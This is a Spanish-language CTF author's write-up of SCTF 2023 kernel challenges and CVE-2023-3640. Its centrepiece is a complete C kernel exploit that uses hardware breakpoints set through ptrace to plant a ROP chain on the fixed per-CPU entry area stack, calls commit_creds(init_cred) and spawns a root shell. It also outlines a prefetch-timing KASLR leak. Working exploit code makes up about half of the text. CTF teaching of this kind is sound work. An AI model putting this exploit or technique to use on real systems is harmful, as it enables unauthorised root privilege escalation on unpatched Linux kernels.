
SCTF 2023 pwn del kernel && CVE-2023-3640
SCTF 2023 kernel pwn
Nota al margen: un pequeño anuncio. El autor es un estudiante de grado que se gradúa en 2024 y participa en el reclutamiento de otoño de este año. ¡Bienvenido a contactarme!
Esta pregunta pretende evaluar dos puntos.
cpu entry area, el punto de inicio tiene varias direcciones con desplazamiento fijo respecto a la sección de texto del kernel. Para más detalle, consulta la siguiente imagen. Esto es solo un pequeño truco, que apareció por primera vez en el KCTF de Google, y luego ha aparecido varias veces en competiciones internacionales.

per cpu entry area. Además, antes de Linux 6.2, per cpu entry area no estaba sometido a aleatorización, por lo que la dirección era fija. Esto permite construir una cadena ROP en una dirección fija del kernel; este es el punto innovador de esta pregunta. El autor la llama provisionalmente ret2hbp, solo por comodidad para describir esta técnica de ataque. El autor no reivindica originalidad; de hecho, el propio desarrollo de la explotación del kernel ya es lo suficientemente atractivo, y encontrar una concha en la playa ya es motivo de alegría :)Para las direcciones y desplazamientos concretos, consulta el exploit. Aun así, espero que los colegas puedan depurarlo por sí mismos.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>
void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void teardown()
{
kill(hbp_pid,9);
}
void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
teardown();
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
teardown();
exit(1);
}
}
void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %m\n");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0: //child
//pin cpu
CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;" // start at there
"mov r12, commit_cred;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x77777777;"
"mov r11, 0x77777777;"
"mov r10, getshelladdr;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"mov rax, user_sp;"
"mov rcx, user_ss;"
"mov rdx, 0xcccccccc;"
"mov rsi, 0xa000000;"
"mov rdi, [rsi];"
);
exit(1);
case -1:
printf("fork: %m\n");
exit(1);
default: //parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}
int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr = ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llx\n",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}
De hecho, esta es solo una pregunta de explotación de un 1day. La idea básica proviene de este artículo del equipo de Project Zero de Google. El trabajo del autor solo consistió en convertirlo en una pregunta de CTF, para que todos puedan aprender este método de explotación que personalmente considero muy potente e interesante, y experimentar el encanto de poder obtener una shell root escribiendo solo un byte en una única dirección. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1
Esta es una pregunta que involucra una vulnerabilidad 0day de fuga de información del kernel. Sin embargo, existía una solución no intencionada (los dos equipos que la resolvieron usaron la no intencionada).
La pregunta es una versión mejorada de sycrop sin la parte de leak, porque usa la versión 6.2, donde per cpu entry area ha añadido aleatorización.
-enable-kvm y -cpu host, es decir, se usa la CPU de la máquina física. De hecho, en la mayoría de los casos, las CPU Intel están afectadas por esta vulnerabilidad. Consulta el artículo sobre el 1day Entrybleed (https://www.willsroot.io/2022/12/entrybleed.html#comment-form); con el script anterior se puede obtener el KASLR.per cpu entry area tiene aleatorización, por lo que la pila DB también se aleatoriza (se encuentra en el desplazamiento per cpu entry area + 0xf000). Sin embargo, de hecho, con KPTI habilitado, no solo el punto de entrada de las llamadas al sistema se mapea en modo usuario (entry_SYSCALL_64 de EntryBleed), sino que per cpu entry area también está mapeado. Por lo tanto, es posible obtener el desplazamiento midiendo la diferencia de tiempo con instrucciones de prefetch. El script concreto tendrá que esperar a que el fabricante permita su divulgación para publicarlo (pero en realidad ya está explicado arriba; estoy seguro de que los colegas podrán deducirlo).ret2dir. Esto fue un descuido del autor. Al crear la pregunta también pensé si ret2dir podría funcionar, pero por falta de tiempo, después de completar la parte principal del reto, me olvidé de ocuparme de ello. Aun así, no está mal; al menos esta pregunta tiene solución.